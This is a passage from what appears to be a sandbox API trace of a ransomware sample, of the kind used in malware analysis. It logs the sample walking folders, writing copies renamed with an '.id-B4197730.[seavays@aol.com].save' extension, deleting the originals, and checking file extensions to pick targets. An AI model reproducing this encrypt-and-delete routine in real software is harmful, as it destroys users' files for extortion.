ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x120f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatsLogo.png", cAlternateFileName="")) returned 1 [0080.181] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.181] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1 [0080.181] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.181] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c3853b7, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x5ab7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MarketConfiguration.xml", cAlternateFileName="")) returned 1 [0080.183] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.183] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c490576, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c51ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c490576, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0080.183] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0080.183] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.183] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3853b7, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c3853b7, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c46a340, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x35acb0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1 [0080.186] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0080.186] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73d444, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FoodAndDrink", cAlternateFileName="FOODAN~1")) returned 1 [0080.187] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0080.187] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73dce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Health", cAlternateFileName="")) returned 1 [0080.187] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0080.187] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="News", cAlternateFileName="")) returned 1 [0080.188] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0080.188] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73ed8e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0080.188] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0080.188] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73f623, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 1 [0080.189] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0080.189] FindNextFileW (in: hFindFile=0x4260340, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73f623, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather", cAlternateFileName="")) returned 0 [0080.189] FindClose (in: hFindFile=0x4260340 | out: hFindFile=0x4260340) returned 1 [0080.189] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.189] FindNextFileW (in: hFindFile=0x4260280, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa73b0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataModels", cAlternateFileName="DATAMO~1")) returned 0 [0080.189] FindClose (in: hFindFile=0x4260280 | out: hFindFile=0x4260280) returned 1 [0080.189] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.190] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4dca2a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c62fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c4dca2a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Personalization", cAlternateFileName="PERSON~1")) returned 0 [0080.190] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0080.190] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.191] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7402e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1 [0080.192] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441b828 | out: hHeap=0x6a0000) returned 1 [0080.192] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328ee10 | out: lpFindFileData=0x328ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa742614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0 [0080.193] FindClose (in: hFindFile=0x4260080 | out: hFindFile=0x4260080) returned 1 [0080.193] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.193] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741b52, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0 [0080.193] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0080.193] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.194] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa741010, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c502c94, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0080.194] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0080.194] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.195] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c502c94, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c502c94, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xb8da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Sports.dll", cAlternateFileName="")) returned 1 [0080.196] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.196] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9a1593, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9a1593, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9a1593, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1 [0080.197] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c9c77d0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c9c77d0, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c9c77d0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4413, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlatformConfiguration.xml", cAlternateFileName="")) returned 1 [0080.197] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7452b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0080.197] FindClose (in: hFindFile=0x4260080 | out: hFindFile=0x4260080) returned 1 [0080.197] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.197] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1 [0080.198] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.198] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0080.198] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0080.198] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0080.199] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e476601, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.SCA")) returned 1 [0080.208] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.208] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e58a1bc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa8cdeaf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e5b0416, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0080.211] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440b820 | out: hHeap=0x6a0000) returned 1 [0080.211] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x328f08c | out: lpFindFileData=0x328f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5d667d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e5d667d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e5d667d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="StoreLogo.scale-100.png", cAlternateFileName="")) returned 1 [0080.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fb818 | out: hHeap=0x6a0000) returned 1 [0080.212] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x328f308 | out: lpFindFileData=0x328f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e4fcf04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa7da30b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e622b9b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0 [0080.212] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0080.212] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43eb810 | out: hHeap=0x6a0000) returned 1 [0080.212] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 Thread: id = 17 os_tid = 0xf88 [0050.055] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c41228 [0050.055] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c51230 [0050.056] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce30 [0050.056] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x72d2a0 [0050.056] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fcf08 [0050.056] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x3e10020 [0050.058] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fce60 [0050.058] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fce60, Size=0x20) returned 0x6deae8 [0050.058] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fd028 [0050.058] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fd028, Size=0x20) returned 0x6deb10 [0050.059] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0050.059] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0050.059] Wow64DisableWow64FsRedirection (in: OldValue=0x33cff50 | out: OldValue=0x33cff50*=0x0) returned 1 [0050.059] lstrlenW (lpString="kernel32.dll") returned 12 [0050.059] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deae8 | out: hHeap=0x6a0000) returned 1 [0050.059] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0050.059] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6deb10 | out: hHeap=0x6a0000) returned 1 [0050.059] Sleep (dwMilliseconds=0x64) [0050.474] Sleep (dwMilliseconds=0x64) [0050.757] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0050.757] lstrlenW (lpString="LocalizedData.xml") returned 17 [0050.757] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.884] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=74214) returned 1 [0050.884] CloseHandle (hObject=0x2f0) returned 1 [0050.884] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0050.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0050.885] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.885] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0050.890] GetLastError () returned 0x0 [0050.890] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x121e6, lpOverlapped=0x0) returned 1 [0050.906] WriteFile (in: hFile=0x2cc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x121f0, lpOverlapped=0x0) returned 1 [0050.909] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0050.909] WriteFile (in: hFile=0x2cc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0050.909] SetEndOfFile (hFile=0x2cc) returned 1 [0050.909] CloseHandle (hObject=0x2cc) returned 1 [0050.912] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.912] SetEndOfFile (hFile=0x2f0) returned 1 [0050.913] CloseHandle (hObject=0x2f0) returned 1 [0050.913] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0050.913] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0050.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.913] lstrlenW (lpString=".doc") returned 4 [0050.913] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.914] lstrlenW (lpString=".docx") returned 5 [0050.914] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0050.914] lstrlenW (lpString=".pdf") returned 4 [0050.914] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.914] lstrlenW (lpString=".xls") returned 4 [0050.914] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.914] lstrlenW (lpString=".xlsx") returned 5 [0050.914] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0050.914] lstrlenW (lpString=".ppt") returned 4 [0050.914] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.914] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0050.914] lstrlenW (lpString=".zip") returned 4 [0050.914] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.914] lstrlenW (lpString=".rar") returned 4 